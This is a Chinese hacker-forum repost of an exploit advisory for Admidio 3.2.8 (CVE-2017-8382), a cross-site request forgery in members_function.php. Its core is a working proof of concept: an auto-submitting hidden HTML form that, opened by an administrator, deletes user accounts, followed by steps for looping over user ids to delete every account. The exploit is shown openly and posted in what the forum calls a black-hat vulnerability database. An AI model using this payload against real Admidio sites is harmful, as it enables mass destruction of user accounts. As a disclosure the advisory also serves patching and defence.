跳转到帖子

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Admidio 3.2.8 - Cross-Site Request Forgery

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。